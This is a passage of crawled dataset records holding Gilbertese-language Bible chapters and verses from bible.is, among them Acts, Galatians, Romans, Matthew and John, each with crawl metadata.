tataro ni katokai baina i aona, ao e kamaiuaki man aorakina. 9Ngke e riki arei, ao a roko naba tabemwaang ake a aoraki n te abamwakoro arei, ao a kamaiuaki. 10A karineira n aaro ni karinerine aika a bati; ao ngke ti nangi borau, ao a katokai baika a riai i bukira bwa ara tianaki. 11I mwiin teniua namwakaina ao ti toka ni kaibuken Arekanria ae arana Riotikouri, ae e kabanea bongin te aumeaang n te abamwakoro arei. 12Ao ngke ti aerake i Turakuta, ao ti tiku iai teni bong. 13Ti borau ngkanne maiai ni kaararake, ao ti roko i Rekio; ao i mwiin teuana te bong ao e wai te angi maiaki. Ao n te bong are i mwiina ao ti roko i Buteori. 14Ti kaaitibo iai ma taari, ao ti butiaki bwa ti na mena irouia itibong; ao ai ngaia anne aroni kawaira n roko i Rom. 15Ngke a ongo taekara taari ake i Rom, ao a roko ni butimwaaira temwaangina n ana tabo ni mwaakete Abia, ao temwaangina n te tabo ae e aranaki bwa Auti-n-iruwa-aika-tenua; ao ngke e nooriia Bwauro ao e katituaraoa te Atua, ao e kauungaaki nanona irouia. 16Ngke ti rin i Rom, ao e kariaiakaki Bwauro bwa e na maeka n ti ngaia ma te tautia temanna are e teeteiakinna. 17I mwiin teni bong, ao e kaoiia ake a kakannato i buakoia I-Iutaia Bwauro bwa e na maroro ma ngaiia; ao ngke a bootaki, ao e taku nakoia, Mwaane, taari, e boni ngae ngke akea te bae I karaoia n eekaanako iai au bootanaomata ma aia katei ara bakatibu, ao I a tia ni kanakoaki mai Ierutarem nako nanoni baiia I-Rom bwa te bure ngai; 18ao ngaiia ngke a a tia n ukoukora aron taekau, ao a iangoia bwa a na kainaomataai bwa akea riainibukin te bwai are e riai mateu iai. 19Ma a rawa iai I-Iutaia, ma ngaia are I a kairoroaki iai bwa N na atonga kautuun te tautaeka n Rom bwa te tia motika taekau, e ngae ngke akea tangu ae N na uotia ni kabuaakakaiia iai au bootanaomata. 20Ao bon aei bukin are I kaoingkami iai, bwa N na nooringkami, ma n taetae nakoimi: bwa I kabaeaki n te taurekereke aei ibukin aia kaantaninga Iteraera. 21Ao a taku aomata akekeinakoina, Akea reeta aika a tia n reke iroura mai Iutaia ibukin taekam, ao akea naba irouia ara koraki ae e roko ikai n tuangiira ke n taekina arom ae e buaakaka. 22Ma ti kan ongo mai iroum am iango, bwa n aron ae e ataaki iroura ao e taekinaki ni kabuaakakaaki te Aro aei n taabo nako. 23A kotea aia bong ma Bwauro, ao a kawaria aomata aika a bati riki ni nnena ni maeka n te bong anne. E waaki ma ngaiia man te ingabong ni karokoa ae e bong, ni kabwarabwaraa nakoia taekan uean te Atua; ao e kataia n anai nanoia ni mwakoron taeka ake e anai man ana tua Mote ao man aia boki buraabeti, bwa a na kakoauaa are e taekinna ibukin Iesu. 24Iai temwaangina ake a kakoauai baike a atongaki, ma temwaangina a aki. 25E aki reke irouia te booraoi n nano, ma ngaia are a nako i mwiin ana taeka teuana Bwauro are e atongnga, ae e kaangai, E eti ana taeka te Taamnei are e Raoiroi iroun Itaia are te buraabeti nakoia ami bakatibu, 26ngke E kaangai, Ko na nako n te bootanaomata aei, ao ko na kaangainakoina, Kam na ongo ma n ongo, ma kam na aki atatai; ao kam na taratara ma n taratara, ma kam na aki nooraaba: 27bwa a matoatoa nanoia te bootanaomata aei, ao a bonoti taningaia, ao a kamakii mataia; bwa a kaawa n te tai teuana n nooraaba ni mataia, ma n ongo n taningaia, ma n atatai n nanoia, ma n rairaki, ao N na kamaiuiia. 28Ma ngaia ae kam na ataia, bwa e a tia n nako taekan ana kamaiu te Atua aei nakoia aomata aika tiaki I-Iutaia, ao boni ngaiia akana a na ongo. 30E maeka Bwauro ua ririki n te auti ae e kabooa tikuna iai, ao e mwaneiia n akoiia aomata ni kabaneia ake a roko irouna. 31E tataekina uean te Atua, ao e reirei taekan te Uea are Iesu Kristo n aki mamaaku, ma n aki tuutuukaki.\nMWAKURI 28","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/28","date":"2014-03-08T12:11:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999654438\/warc\/CC-MAIN-20140305060734-00085-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":987,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:3636Ma kam na tantani n taai nako ao tataro bwa e aonga n reke iroumi te marurung are kam na konaa iai ni biri nako mani baika a nang roko, ao te konaa n tei i matan Natin te Aomata. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/36","date":"2014-03-17T02:57:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678704624\/warc\/CC-MAIN-20140313024504-00030-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999110699,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999110698699951}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tengauni ma a ririki i mwiina, ao I a manga nako Ierutarem ma Bwarenaba, ao I kaira naba Tito. 2I nako bwa tuangau n te kaotioti are e roko irou; ao I tuangiia te euangkerio are I tataekinna i buakoia aomata aika tiaki I-Iutaia; ao I karaoa aei nakoia uaake a atoatongaki bwa taani kairiri, ngke ti ngai ma ngaiia, bwa a kaawa ni matebuaka au mwakuri ake I a tia ni karaoi n taai aika a nako, ao aika I karaoi ngkai. 3Ma e aki kairoroaki Tito, are raou, bwa e na koroberoaki, e boni ngae ngke te I-Erene ngaia. 4E riki aei i bukiia taari ni kewe ake a karinaki ni karabaaki i buakora bwa a na taratarai aroni inaomatara are e reke iroura n reitakira ma Kristo Iesu. A tangiria bwa a na tau-toronira, 5ma ti bon aki kariaia naba teutana bwa ti na iri nanoia, bwa e aonga ni meemena koauan te euangkerio iroumi. 6Ao uaake atoatongaki bwa taani kairiiri—I aki tabe ma aroia ngkekei bwa aekara; bwa E aki babaaire te Atua man taraan te aomata—a aki tuangai uaakekei te bwai teuana ae e raka; 7ma te bae a karaoia: a noorai bwa I a tia ni mwiokoaki n taekan te euangkerio i bukiia ake a aki koroberoaki, n ai aroni Betero, ngke e mwiokoaki n taekan te euangkerio i bukiia ake a koroberoaki. 8Bwa Teuare e mwamwakuri i nanoni Betero ibukin te nakoa n tuatua nakoia aomata ake a koroberoaki E mwamwakuri naba i nanou nakoia aomata aika tiaki I-Iutaia; 9ao Iakobo, ma Keebwa, ma Ioane, ake a atoatongaki bwa boua, ngke a ataa ae E anganai te Atua te mwiokoaki aei, ao a anganai ma Bwarenaba angaataiia, ao ti iobai ma ngaiia, bwa kaotan aroaro n iraorao ni mwiokoara, ngaira nakoia aomata aika tiaki I-Iutaia, ao ngaiia nakoia I-Iutaia. 10Ao akea te bae a butiira iai, ma ti na ti uringiia ake a aki kaubwai; ao bon aei te bwai are e a kaman ingainga iai nanou ni kani karaoia. 11Ma ngke e roko Keebwa i Antioka, ao I taetae i matana n ekia nako, bwa e bure te baere e karaoia. 12Bwa i mwaain rokoia tabemwaang mai iroun Iakobo, ao e bon amwaamwarake ma aomata aika tiaki I-Iutaia; ma ngke a roko, ao e keerikaaki man arona arei, ni kaokoroa, bwa e maakuia ake a koroberoaki. 13Ao I-Iutaia ake raona a karaoa naba are e karaoia Betero, ni karaoanare a ataia bwa a aki riai ni karaoia; ma ngaia are e anaaki naba nanoni Bwarenaba n are a karaoia, ao e katootoongiia. 14Ma ngke I nooriia bwa a aki toua te kawai ae e eti ma koauan te euangkerio, ao I kaangai nakoni Keebwa i mataia aomata akekei ni kabaneia, Ngkai te I-Iutaia ngkoe, ao ko aera ngkai ko kairoroia aomata aika tiaki I-Iutaia bwa a na maiu n ai aroia I-Iutaia? 15Ngaira bon I-Iutaia n rikira, ao tiaki aomata aika ianena aika taani bure, n aron are e atoatongaki; 16ao ti ataia bwa e aki kaetaki reitakin te aomata ma te Atua ni karaoani baika a tangiraki n te Tua, bwa ti n onimakinan Iesu Kristo; ngaira naba, ti onimakina Kristo Iesu, bwa a aonga ni kaetaki reitakira ma te Atua n onimakinani Kristo, ma tiaki ni karaoan are e tangiraki n te Tua: bwa bon akea temanna ae e na kaetaki reitakina ma te Atua ni karaoani baika a tangiraki n te Tua. 17Ngkana arona ngkanne bwa ngkai ti kekeiaki ni kani kaeta reitakira ma te Atua n arora n reitaki ma Kristo, ao ti nooraki iai bwa bon taani bure ngaira—e a nanonaki n aei ngkanne bwa E mwakuri Kristo ibukin te bure? E bon aki. 18Bwa ngkana I a manga katei baike I uru, ake a kaeti ma aron te Tua, ao I kaotai iai bwa te tia ri aon te Tua ngai. 19Bwa bon iroun te Tua are I a riki ni mate iai nakon te Tua, bwa I aonga ni maiu ibukin te Atua. I tauraki n te kaibangaki ma Kristo. 20Ao ai tiaki ngai ae I maiu ngkai, ma Kristo ae e maiu i nanou; ao arou ae I maiu iai n te rabwata, I maiu n onimakinan Natin te Atua, are E tangirai, are E anga Ngaia i bukiu. 21I aki kaakeaa boonganan ana aakoi te Atua; bwa ngkana e kaetaki reitakin te aomata ma te Atua n te Tua, ao akea boonganani mateni Kristo.\nKARATIA 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/2","date":"2014-03-11T01:04:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011074272\/warc\/CC-MAIN-20140305091754-00006-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":742,"character_repetition_ratio":0.071,"word_repetition_ratio":0.005,"special_characters_ratio":0.229,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10Bwa a nangi reke kaiia aomata aika a bati aika a karaoi baika a tangiraki n te Tua; bwa e a tia ni koreaki ae kaangai, E na reke kain te aomata ae aki teimatoa ni karaoi bwai ni kabane ake a koreaki ni bokin te Tua.\nKARATIA 3:10\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/10","date":"2014-03-08T02:14:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999652586\/warc\/CC-MAIN-20140305060732-00059-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15I bukin aei ngkanne, ao Kristo boni Ngaia ae e buoka reken te booraraoi ae e boou, are a konaa iai te koraki ake a weteaki iroun te Atua ni kabwaibwaiaki n te kabwaia ae akea tokina, are E a tia te Atua n taekinna n ana taeka n akoi. E konaa ni karaoaki aei ibukina bwa iai te mate are e kainaomataia aomata man taiani bure ake a karaoi ngke bon iai te moani booraraoi.\nEBERA 9:15\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/15","date":"2014-03-15T03:45:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678695683\/warc\/CC-MAIN-20140313024455-00063-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":81,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.432,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, ti tangiringkami bwa kam na ataa ana aakoi te Atua are e noonooraki arona n ekaretia nako i Mwaketonia: 2bwa e boni ngae ngke a kataaki n te rawaawata ae e bati, ao a aki kaubwai, ma ibukin nanoia ae e on rake n te kimwaareirei, ao a anga ae bati ma te tituaraoi. 3I kakoauaa aroia bwa a anga n ai aron aia konaa, ao a karakai riki, ibukin nanoia ni kan anga; 4ao a kakorakoraia ni butiira bwa ti na butimwaaea nanoia ni kani buokiia ake a itiaki ake i Iutaia. 5Tiaki aei are ti kaantaningaia; ma a anga ngaiia moa nakon te Uea, ao i mwiina nakoira, n ai aron nanon te Atua. 6Ma ngaia ae ti butiia Tito, bwa ngkai ngaia are e moana karaoan te mwakuri n aakoi aei, ao e bon riai naba ni katiaa i buakomi. 7A rianako aromi ni bwaai ni kabane: n te onimaki, n te taetae, n te atatai, n te nano ae e korakora ni kan ibuobuoki, ao n ami tangira i bukira; ao taraia bwa e na rianako naba aromi n te mwakuri n aakoi aei. 8Ae I taekinna bon tiaki te tua, ma I taekinna bwa e na kakoauaaki n aroia temwaangina ae e korakora ni kan ibuobuoki, bwa ngaia bon iai naba koauan ami tangira. 9Bwa kam ataa ana aakoi ara Uea are Iesu Kristo, bwa ngke E kaubwai, ao E riki n aki kaubwai i bukimi, bwa kam aonga ni kaubwai n ana aki-kaubwai. 10Ao I kaota nanou n te baei: bwa e bon riai aei iroumi, ngkai kam aki ti tabeka moani karaoana, ma kam a kamani kani karaoia naba man te ririki are e nako. 11Ma ngaia ae kam na katiaa karaoana; bwa ngkai bon iai nanomi ae e korakora ni kani karaoia, ao e na boni katiaaki ni baika iai iroumi. 12Bwa ngkana iai te nano ae e korakora ni kan anga ao e butimwaaeaki te bwai n aakoi n ai aroni mwaitin are e anga te aomata, ma tiaki n ai aron aekan ana bwai. 13I aki nanonna n ae a na kabeebeteaki aomata temwaangina ao ngkami kam na karawaawataaki; ma a na bo raoi aromi; 14bwa ngkai a bati ami bwai n te tai aei, ao e raoiroi bwa kam na buokiia te koraki ake iai kain nanoia; ao ngkana iai kain nanomi, ao ngaiia a bati aia bwai, ao a na manga buokingkami; ao a kabooraoaki aromi n te aro aei, 15n ai aron are e koreaki ni kaangai: Ane e rikoriko ni kabatiaa, ao akea nikirana; Ane e rikorikoa ae ti teutana, ao e aki kai nanona. 16Ma E na katituaraoaki te Atua, are e kaaki i nanon Tito te nano ae ti te bo ma nanora ibukini buokami. 17Bwa e aki ti butimwaaea ara buubuti, ma bon iai nanona ni kani buokingkami, ma ngaia are e a tia ni baaireia n oin nanona bwa e na nakoimi. 18Ti kanakoa nakoimi Tito ma raona temanna ae te tia onimaki ae e rangi n ataaki n ekaretia nako ibukin arona n tataekina te euangkerio; 19ao tiaki ti aei, ma e a tia n rineaki naba irouia taian ekaretia bwa raora ni mwamwananga n te mwakuri n aakoi aei, ae ti tabe iai ngkai ibukin neboan te Uea, ao ni kaotira iai bwa ti kan ibuobuoki. 20Iai nanora bwa ti aki kanibukinaki iroun temanna ibukin arora ni kaawakina te bwai n tituaraoi ae e mwaiti aei. 21Bwa nanora bon te kani karaoi baika a raraoi, tiaki ti i matan te Uea ma i mataia naba aomata. 22Ao ti kanakoa ma ngaiia tarira, are ti rangi ni kakoauaa i mwiini kataakina iroura n taai aika a bati bwa iai irouna te nano ni kan ibuobuoki n aaro nako; ao ngkai iai irouna onimakinakimi, ao e a rangi ni korakora riki nanona ni kan ibuobuoki. 23Ao ibukini ngkanne Tito, bon raou ae e mwakuri ma ngai ibukini buokami; ao i bukiia taari ake a na mwananga ma Tito, bon aomata aika a kamwanangaaki ibukin taian ekaretia; taan neboa Kristo n aia mwakuri. 24Ma ngaia ae kam na kaota nakoia aron ami tangira ma bukini kamoamoaara i bukimi bwa a na nooraki irouia taian ekaretia.\n2 KORINTO 8","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/8","date":"2014-03-15T07:49:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678696502\/warc\/CC-MAIN-20140313024456-00028-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":704,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E a tia Iesu ni kabanea ana taeka ni mwioko nakoia ana reirei ake tengauni ma uoman, ao E nako maikekei bwa E na reirei, ao bwa E na kabwarabwara n aia kaawa nako. 2Ngke e kainaki Ioane n te karabuuti, ao e ongo taekan ana mwakuri te Kristo; ao e kanakoia ana reirei bwa a na kaangai nakoina, 3Ngkoe Teuare e nangi roko, ke ti na kaantaninga riki temanna? 4Ao E kaekaia Iesu ni kaangai, Naako tuanga Ioane baika kam ongo ma n noori: 5a nooraaba mataki, a nakonako mwauku, a kamaiuaki reebera, a uki taningaia taningabono, a manga maiu maate, ao a ongo taekan te euangkerio aomata ake a aki kaubwai. 6Ao e a kabwaia ane e aki tarai baika I karaoi bwa te kaangaanga nakon ana onimaki. 7Ngke a nako uaakekei, ao E taetae Iesu nakoia aomata ibukin Ioane, ni kaangai, Tera are kam nako iai nakon te rereua bwa kam na nooria? Te uteute ae e mwaeiei n te ang? 8Ao tera ngkanne bukin are kam nako iai? Kam na noora te aomata ae e kunnikaia n te kunnikai ae e tikiraoi? Noria, a mena n aia auti ueea aomata aika a kunnikaiia ni kunnikai aika a tikiraoi. 9Tera ngkanne bukin are kam nako iai? Kam na noora te buraabeti? Eng, I tuangkami bwa e moamoa riki arona nakon te buraabeti. 10Bon Ioane are e koreaki taekana ni kaangai: Noria, I kanakoa au tia ua-rongorongo n rimoam, are e na katauraoa kawaim i mwaaim. 11E koaua ae I a tuangkami bwa e tuai ni kaoti temanna ae e kakannato riki nakon Ioane are te tia bwaabetiito i buakoia akana a bungiaki irouia aine; ma ane moan te mangori n uean te Atua, ao boni ngaia ae e kakannato riki nakoina. 12Man ana tai ni mwakuri Ioane ni karokoa ngkai, ao e aki toki n eekaki nako uean te Atua; ao aomata aika a iowawa a a tia ni kataia n tauua ma te matoa. 13Bwa a bane buraabeti ma te Tua ni karokoa Ioane n taekini bwaai aika a na riki. 14Ao ngkana kam kani kaaki i nanomi, ao bon Eria are nangi roko teuarei. 15Ane iai taningana n ongo ao ke e ongo. 16Ma tera ae N na kabootauia iai aomata n te roro aei ma ngaia? Ti te bo ma ataei ngaiia ake a tekateka n taabo ni mwaakete ao a weeweteiia raoia n takaakaro, ao a kaangai. 17Ti katangitang nakoimi, ao kam aki bwaatere; ti tangini wenei ao kam aki tang. 18Bwa e roko Ioane n aki amwaamwarake ma n aki momooi, ao a kaangai aomata, Iai irouna te taimonio. 19E roko Natin te aomata n amwaamwarake ma ni momooi, ao a kaangai, Noria, te aomata ae e buabeka ao te tia korowaawaa ni mamanging; raraoia taan anai taekiti ma aomata aika a buaakaka. Ma e ngae n anne, ao rabakaun te Atua e a kaotaki bwa e koaua n uaana. 20Ao E eekinakoiia ngkanne kaaini kaawa ake a karaoaki iai ana mwakuri aika a kamiimii, bwa a aki rairi nanoia; 21ao E kaangai, A na reke kaimi kaaini Koratin! A na reke kaimi kaaini Betetaita! Bwa ngke arona bwa a a tia ni karaoaki mwakuri aika a kamiimii i Turo ao i Titon, ake mwakuri ake a karaoaki i Koratin ao i Betetaita, ao kaain Turo ma Titon a na kamani karin i aoia kunnikai ake a bwaabwainaki n tain te rawaawata, ma ni kabiri mataia ni mannang bwa kaotan rairan nanoia. 22Ma I taku nakoimi, bwa e na beebete riki te rekenikai are e na reke nakoia I-Turo ma I-Titon nakon are e na reke nakoimi n te bongi ni motiki-taeka. 23Ao ngkami aika kaaini Kaberenaum, kam taku bwa kam na tabekaki rake nako karawa? Kam na teweaki nako nako Eriti! Bwa ngke arona bwa a karaoaki i Totom mwakuri aika a kamiimii aika a karaoaki i Kaberenaum, ao e na bon aki mauna ni karokoa te bong aei. 24Ma I taku nako imi, bwa e na beebete riki te rekenikai are e na reke nakoia I-Totom nakon are e na reke nako imi n te bongi ni motiki-taeka. 25Ao ni boong akekei, ao E taetae Iesu ni kaangai, I karabwako, Tamau, ae Ueani karawa ma aonnaba, bwa Ko karabai baikai nakoia akana a rabakau ma akana a wanawana, ao Ko kaoti nakoia merimeri; 26eng, Tamau, bwa aei aron nanom n akoi. 27I anganaki bwaai ni kabane iroun Tamau; ao akea ae e ataa te Nati, ma ti te Tama ae E ataia; ao akea ae e ataa te Tama, ma ti te Nati ae E ataia, ao ane E kani kaotia te Nati nakoina. 28Bane mai nakoiu, ngkami akana kam kua ao kam rawaawata, ao N na motiki rawami. 29Amoa amou i aomi, ao reirei irou: bwa I nimamannei ao I nanorinano, ao e na reke iroumi karauan nanomi ni koaua. 30Bwa e aoraoi amou, ao e beebete uotau.\nMATAIO 11","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/11","date":"2014-03-15T02:18:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678695535\/warc\/CC-MAIN-20140313024455-00068-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":821,"character_repetition_ratio":0.049,"word_repetition_ratio":0.012,"special_characters_ratio":0.234,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:2727Ngke ai te katebwi ma aua ni bong, ngke e uouotaki ara kaibuke i nanoni marawan Areria, ngke tao e a nuukanibong, ao a taku i nanoia kaimoa bwa a kaania te aba teuana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/27","date":"2014-03-12T10:04:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021643070\/warc\/CC-MAIN-20140305121403-00092-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999368191,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999368190765381}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam aki ataia, tariu-bwa I taetae nakoia ake a ataa te tua-bwa e tau-taeka te tua i aon te aomata ni kabanea ana bongi ni maiu? 2N ai aron aei: bwa te aine ae iai buuna e kabaeaki n te tua nakoni buuna ni kabanea ana bongi ni maiu buuna; ma ngkana e mate buuna, ao e kainaomataaki man te tua are e kabaeaki iai ma buuna. 3Ma ngaia aei, bwa ngkana e mare ma te mwaane temanna, ngkae e maiu buuna, ao e na atongaki bwa te aine ae e wene ni bure; ma ngkana e mate buuna, ao e inaomata man te tua arei, ao tiaki te tia wene ni bure ngaia ngkana e a manga mare ma te mwaane temanna. 4Ao ai aromi naba, tariu, bwa kam mate naba nakon te Tua ngkai bwain rabwatani Kristo ngkami; bwa kam aonga n riki bwa ana bwai Temanna, are Teuare e kamaiuaki mai buakoia maate, bwa ti aonga ni boongana iroun te Atua. 5Bwa ngke ti maiu n iri nanon rabwatara, ao a mwamwakuri i nanoni bwain rabwatara naano aika a kani kaakaraoa te bure, aika naano aika a bwebwe rake ngkai iai te Tua; ao a kariki uaa aika ana bwai te mate. 6Ma ngkai ti a nako mai aan te Tua, ao akea i aora mwaakan te baere ti tauaki iai ngkoa; ma ngaia are ti a aki toronaki n te tua nikawai are koreaki, ma ti a toronaki n te maiu ae e boou are mai iroun te Taamnei. 7Ao tera ngkanne ae ti na taekinna? Te bure te Tua? Bon tiaki. Ma I aki bure ngke akea te Tua: bwa I aki ataa te mataai, ngke e aki kaangai te Tua, Ko na tai mataai. 8Ma te bure, ngke e reke ana tai, ao e kariki i nanou taiani mataai; ao e karaoa aei ri nanon taekan te Tua. bwa ngke akea te Tua, ao akea te bae e konaa ni karaoia te bure. 9I maiu ngkoa ngke akea te Tua; ma ngke e roko ana Taeka te Atua n te Tua, ao e a manga maiu te bure, 10ao ngai I mate; ao te Tua are e na uota te maiu, ao e uota te mate nakoiu. 11Bwa te bure, ngke e reke ana tai, ao e burebureai n taekan te Tua, ao e kamateai iai. 12Ma ngaia ae e tabu te Tua, ao e tabu naba ana taeka te Atua are iai, ao e eti ma n raoiroi. 13E konaa ngkanne te bae e raoiroi ni karekea ae N na mate iai? E bon aki. Ana mwakuri te bure aei: e karekea ae N na mate iai ni kamanenaan te bae e raoiroi, bwa e aonga ni kaotaki arona bwa bon te bure ni koaua; ao tokina e a riki ni buaakaka riki arona n ana taeka te Atua are n te Tua. 14Ao ti ataia bwa te Tua boni mai iroun te Atua, ma bon te rabwata ngai, ae e kabooaki bwa ana toro te bure. 15Bwa I aki atai nanoni baika I karaoi: bwa ae I kani karaoia ao I aki karaoia, ao ae I ribaia ao I karaoia. 16Ma ngkana I karaoa ae I aki kani karaoia, ao I kakoauaa iai bwa e raoiroi te Tua: 17ma tiaki ngai ngkai ae I karaoia, ma e karaoia te bure ae e maeka i nanou. 18Bwa I ataa te raoiroi bwa e aki maeka i nanou, ae i nanon rabwatau; bwa e boni ngae ngke iai i nanou kani karaoan te raoiroi, ma I aki konaa ni karaoia. 19Bwa te raoiroi ae I kani karaoia ao I aki karaoia; ma te buaakaka ae I aki kani karaoia ao I karaoia. 20Ma ngkana I karaoa ae I aki kani karaoia, ao ai tiaki ngai ae I karaoia, ma e karaoia te bure ae e maeka i nanou. 21I a kunea ngkanne te tua aei: bwa ngkana I kani karaoa ae e raoiroi, ao iai naba i nanou te kani karaoa ae e buaakaka. 22Bwa e on nanou n te kukurei n ana Tua te Atua; 23ma I noora te tua ae e kaokoro ae e mwakuri i nanoni bwain rabwatau, ae te tua ae e buakana tuan nanou, ao e tauai bwa te bure ngai nakon tuan te bure ae i nanoni bwain rabwatau. 24Te aomata ae e kananoanga ngai! Ai antai ae e na kamaiuai man te rabwata aei ae e uotai nakon te mate? 25E na katituaraoaki te Atua iroun Iesu Kristo are ara Uea! Ma ngaia ae aio ngkanne arou: bwa I toro iroun ana tua te Atua n nanou, ao rabwatau e toro iroun ana tua te bure.\nROM 7","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/7","date":"2014-03-08T07:33:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653836\/warc\/CC-MAIN-20140305060733-00077-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":780,"character_repetition_ratio":0.057,"word_repetition_ratio":0.021,"special_characters_ratio":0.255,"stopwords_ratio":0.501,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBETO 3:1919bwa e aonga naba n iai iroumi te konaa n ataa tangirami irouni Kristo, are e aki konaaki n ataaki raoi arona, bwa a aonga ni kaonaki maiumi n anuan te Atua ni kabane. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3\/19","date":"2014-03-09T22:32:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010444750\/warc\/CC-MAIN-20140305090724-00017-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999915361,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999915361404419}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E a tia n tataro Iesu, ao E nako ma ana reirei n ri aon te karaanga are Kiteron nakon te tabo are e mena iai te nne n aroka, ao E rin iai ma ana reirei. 2E ataa te tabo arei Iuta, are e kamwanea Iesu, bwa E rooroko iai Iesu ma ana reirei. 3Ma ngaia are ngke a roko irouna tautia tabemwaang ma bureitimanin te umwantabu ake a kanakoaki irouia ibonga ma Bwaritaio, ao e kairiia nakon te nne n aroka, ma uotaia taura ma ooi ma bwai ni buaka. 4E atai bwaai ni kabane Iesu ake a nangi riki nakoina, ma ngaia are E keerake, ao E taku nakoia, Antai ae kam ukoukoria? 5A kaeka ao a taku, Iesu are te I-Natareta. E taku Iesu nakoia, Boni Ngaia Ngai. Bon raoia naba te koraki aei n 